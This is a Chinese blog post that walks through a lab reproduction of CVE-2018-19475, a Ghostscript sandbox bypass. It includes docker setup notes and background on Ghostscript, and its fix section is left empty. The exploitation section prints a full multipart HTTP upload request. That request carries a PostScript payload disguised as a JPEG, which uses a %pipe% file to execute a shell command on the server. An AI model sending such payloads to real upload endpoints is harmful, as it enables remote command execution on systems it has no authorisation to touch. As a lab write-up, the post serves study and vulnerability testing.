CVE-2018-19475(GhostScript 沙箱绕过(命令执行)漏洞)

GhostScript 沙箱绕过(命令执行)漏洞

漏洞描述

1.漏洞编号:CVE-2018-19475

2.影响版本:

3.漏洞产生原因:

2018年底来自Semmle Security Research TeamMan Yue Mo发表了CVE-2018-16509漏洞的变体CVE-2018-19475,可以通过一个恶意图片绕过GhostScript的沙盒,进而在9.26以前版本的gs中执行任意命令。

参考链接:

- https://blog.semmle.com/ghostscript-CVE-2018-19475/

- https://bugs.ghostscript.com/show_bug.cgi?id=700153

 

启动环境:docker-compose up -d

vulnIP:192.168.1.182

环境启动后(其中包括 GhostScript 9.25ImageMagick 7.0.8-20),访问`http://your-ip:8080`将可以看到一个上传组件。

 

 

漏洞发现

关注GhostScript的版本

 

 

漏洞利用

POC作为图片上传,执行命令`id > /tmp/success && cat /tmp/success`

POST /index.php HTTP/1.1

Host: target

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryukZmnyhO

Content-Length: 279

 

------WebKitFormBoundaryukZmnyhO

Content-Disposition: form-data; name="file_upload"; filename="1.jpg"

content-Type="image/png"

 

%!PS

0 1 300367 {} for

{save restore} stopped {} if

(%pipe%id > /tmp/success && cat /tmp/success) (w) file

------WebKitFormBoundaryukZmnyhO--

 

命令已成功执行:

 

查看docker

当然,真实环境下通常无法直接回显漏洞执行结果,你需要使用带外攻击的方式来检测漏洞。

 

 

问题汇总

 

 

修复方案

 

 

基础知识

GhostScript:

Ghostscript 是一套基于 Adobe、PostScript 及可移植文档格式(PDF)的页面描述语言等而编译成的免费软件。

Ghostscript 可以查看及打印 PS、EPS、PDF 文件,支持 PS 的绘图程序一般都很大

Postscript和PDF阅览器使用的栅格化影像处理器RIP引擎,GhostScript 被许多图片处理库所使用。

在文件上传过程中,有可能会用GhostScript来处理图片。所以在上传图片点可以试一下它是否存在这个漏洞

 

2021-02-21 22:01:40

posted @ 2021-02-21 22:02  toby123  阅读(628)  评论(0编辑  收藏  举报